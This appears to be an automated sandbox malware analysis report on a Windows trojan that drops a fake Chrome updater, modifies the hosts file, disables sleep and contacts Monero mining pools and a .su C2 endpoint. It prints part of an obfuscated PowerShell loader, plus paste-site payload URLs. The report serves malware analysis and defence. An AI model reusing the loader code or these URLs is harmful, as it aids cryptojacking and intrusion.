Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe "function local:tvjmjwkkljdl{param([outputtype([type])][parameter(position=0)][type[]]$rucvliravsksnu,[parameter(position=1)][type]$ldxjoqsfca)$hzepfdaiuju=[appdomain]::currentdomain.definedynamicassembly((new-object reflection.assemblyname(''+[char](82)+''+[char](101)+''+'f'+''+'l'+''+'e'+''+[char](99)+''+[char](116)+'e'+'d'+''+'d'+''+'e'+''+'l'+''+[char](101)+''+[char](103)+''+'a'+''+[char](116)+''+'e'+'')),[reflection.emit.assemblybuilderaccess]::run).definedynamicmodule(''+'i'+''+'n'+'mem'+[char](111)+''+'r'+''+[char](121)+''+'m'+''+[char](111)+''+'d'+''+'u'+''+[char](108)+'e',$false).definetype(''+[char](77)+''+'y'+''+[char](68)+''+'e'+''+[char](108)+''+[char](101)+''+[char](103)+'a'+[char](116)+'e'+[char](84)+'y'+[char](112)+''+[char](101)+'',''+[char](67)+''+[char](108)+'a'+'s'+''+'s'+''+[char](44)+''+[char](80)+''+[char](117)+''+'b'+''+'l'+'ic'+','+''+[char](83)+''+[char](101)+'al'+[char](101)+''+'d'+','+[char](65)+''+[char](110)+'s'+[char](105)+''+[char](67)+'l'+[char](97)+''+'s'+''+'s'+''+[char](44)+''+[char](65)+''+'u'+''+'t'+''+[char](111)+''+[char](67)+''+'l'+''+'a'+''+'s'+''+[char](115)+'',[multicastdelegate]);$hzepfdaiuju.defineconstructor('r'+'t'+'sp'+[char](101)+''+[char](99)+''+[char](105)+''+[char](97)+'l'+[char](78)+''+[char](97)+'m'+[char](101)+''+[char](44)+''+[char](72)+''+[char](105)+''+[char](100)+''+[char](101)+''+[char](66)+'y'+'s'+''+'i'+''+[char](103)+''+','+''+'p'+''+'u'+''+'b'+''+[char](108)+''+[char](105)+'c',[reflection.callingconventions]::standard,$rucvliravsksnu).setimplementationflags('ru'+[char](110)+''+'t'+''+'i'+''+[char](109)+''+[char](101)+''+[char](44)+''+[char](77)+''+[char](97)+''+'n'+'aged');$hzepfdaiuju.definemethod('i'+[char](110)+''+[char](118)+''+[char](111)+''+[char](107)+''+[char](101)+'',''+'p'+''+'u'+''+'b'+''+[char](108)+''+'i'+''+'c'+''+','+''+[char](72)+'i'+[char](100)+'e'+[char](66)+''+[char](121)+''+[char](83)+''+[char](105)+''+[char](103)+','+[char](78)+'e'+[char](119)+''+[char](83)+'l'+[char](111)+'t,v'+'i'+''+'r'+''+[char](116)+''+'u'+'a'+'l'+'',$ldxjoqsfca,$rucvliravsksnu).setimplementationflags(''+'r'+''+'u'+'n'+[char](116)+''+'i'+'m'+[char](101)+''+[char](44)+''+[char](77)+''+'a'+''+'n'+''+'a'+''+[char](103)+'e'+[char](100)+'');write-output $hzepfdaiuju.createtype();}$opujgspdjbnob=([appdomain]::currentdomain.getassemblies()\|where-object{$_.globalassemblycache -and $_.location.split('\')[-1].equals(''+[char](83)+''+[char](121)+''+[char](115)+''+'t'+''+[char](101)+''+[char](109)+''+[char](46)+''+[char](100)+''+[char](108)+''+[char](108)+'')}).gettype(''+'m'+''+'i'+''+[char](99)+''+[char](114)+''+'o'+''+[char](115)+'o'+[char](102)+'t'+[char](46)+'w'+[char](105)+''+[char](110)+'3'+[char](50)+''+'.'+''+[char](85)+'n'+[char](115)+''+'a'+'f'+'e'+''+[char](78)+''+'a'+''+[char](116)+''+[char](105)+''+[char](118)+''+[char](101)+''+'m'+'et'+[char](104)+''+[char](111)+''+[char](1

Source: C:\Windows\System32\dllhost.exe

Code function: 45_2_0000000140002300 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

45_2_0000000140002300

Source: C:\Windows\System32\dllhost.exe

Code function: 45_2_0000000140002300 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

45_2_0000000140002300

Source: C:\Windows\System32\conhost.exe

Code function: 32_3_000001D29E8A3B20 cpuid

32_3_000001D29E8A3B20

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Source: C:\Windows\System32\dllhost.exe

Code function: 45_2_0000000140002300 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

45_2_0000000140002300

Source: C:\Windows\System32\conhost.exe

Code function: 32_2_000001D29E8C7D90 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

32_2_000001D29E8C7D90

Source: C:\Windows\System32\dialer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies power options to not sleep / hibernate

Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior

Modifies the hosts file

Source: C:\Users\user\Desktop\egFMhHSlmf.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: dllhost.exe

Binary or memory string: MsMpEng.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 File and Directory Permissions Modification	1 Credential API Hooking	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Native API	11 Windows Service	1 Access Token Manipulation	1 Disable or Modify Tools	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	1 Credential API Hooking	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	1 Scheduled Task/Job	11 Windows Service	1 Deobfuscate/Decode Files or Information	Security Account Manager	24 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	21 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	712 Process Injection	1 Obfuscated Files or Information	NTDS	34 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 Service Execution	Network Logon Script	1 Scheduled Task/Job	1 Software Packing	LSA Secrets	1 Process Discovery	SSH	Keylogging	4 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	1 PowerShell	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	131 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 File Deletion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	4 Rootkit	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Masquerading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Modify Registry	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	131 Virtualization/Sandbox Evasion	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	1 Access Token Manipulation	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	712 Process Injection	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service
Business Relationships	Server	Trusted Relationship	Visual Basic	Container Orchestration Job	Container Orchestration Job	1 Hidden Files and Directories	Web Portal Capture	Local Groups	Component Object Model and Distributed COM	Local Email Collection	Internal Proxy	Commonly Used Port	Direct Network Flood

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
egFMhHSlmf.exe	74%	ReversingLabs	Win64.Trojan.Generic
egFMhHSlmf.exe	75%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\ProgramData\Google\Chrome\updater.exe	74%	ReversingLabs	Win64.Trojan.Generic
C:\ProgramData\Google\Chrome\updater.exe	75%	Virustotal		Browse
C:\Windows\Temp\xptjtnajcbas.sys	5%	ReversingLabs
C:\Windows\Temp\xptjtnajcbas.sys	3%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
justpaste.it	1%	Virustotal	Browse
pool-fr.supportxmr.com	3%	Virustotal	Browse
jaiodsnvzxkxcz5hvxzkighiwagfew9oi0d3219v687dyfsdg.su	12%	Virustotal	Browse
rentry.co	1%	Virustotal	Browse
pastebin.com	0%	Virustotal	Browse
pool.supportxmr.com	7%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://crl.thawte.com/ThawteTimestampingCA.crl0	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Virustotal		Browse
https://justpaste.it/f86v1	1%	Virustotal		Browse
https://github.com/Pester/Pester	1%	Virustotal		Browse
https://pastebin.com/raw/sFxN07Y7	1%	Virustotal		Browse
https://rentry.co/5apf98os/raw	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
justpaste.it	83.168.108.45	true	true	1%, Virustotal, Browse	unknown
pool-fr.supportxmr.com	141.94.96.71	true	false	3%, Virustotal, Browse	unknown
jaiodsnvzxkxcz5hvxzkighiwagfew9oi0d3219v687dyfsdg.su	188.114.97.3	true	true	12%, Virustotal, Browse	unknown
rentry.co	104.26.3.16	true	true	1%, Virustotal, Browse	unknown
pastebin.com	172.67.19.24	true	true	0%, Virustotal, Browse	unknown
pool.supportxmr.com	unknown	unknown	true	7%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://pastebin.com/raw/sFxN07Y7	false	1%, Virustotal, Browse	unknown
https://jaiodsnvzxkxcz5hvxzkighiwagfew9oi0d3219v687dyfsdg.su/api/endpoint.php	true		unknown
https://justpaste.it/f86v1	false	1%, Virustotal, Browse	unknown
https://rentry.co/5apf98os/raw	false	1%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://go.microsoft.coP	powershell.exe, 0000001D.00000002.2254826196.00000217EEEFC000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://nuget.org/NuGet.exe	powershell.exe, 0000001D.00000002.2244051114.00000217E6C65000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.2244051114.00000217E6AC0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	updater.exe, 00000025.00000003.2206433756.0000017ADE760000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000001D.00000002.2211112447.00000217D6C7C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000001D.00000002.2211112447.00000217D6C7C000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://go.micro	powershell.exe, 0000001D.00000002.2211112447.00000217D7B9A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
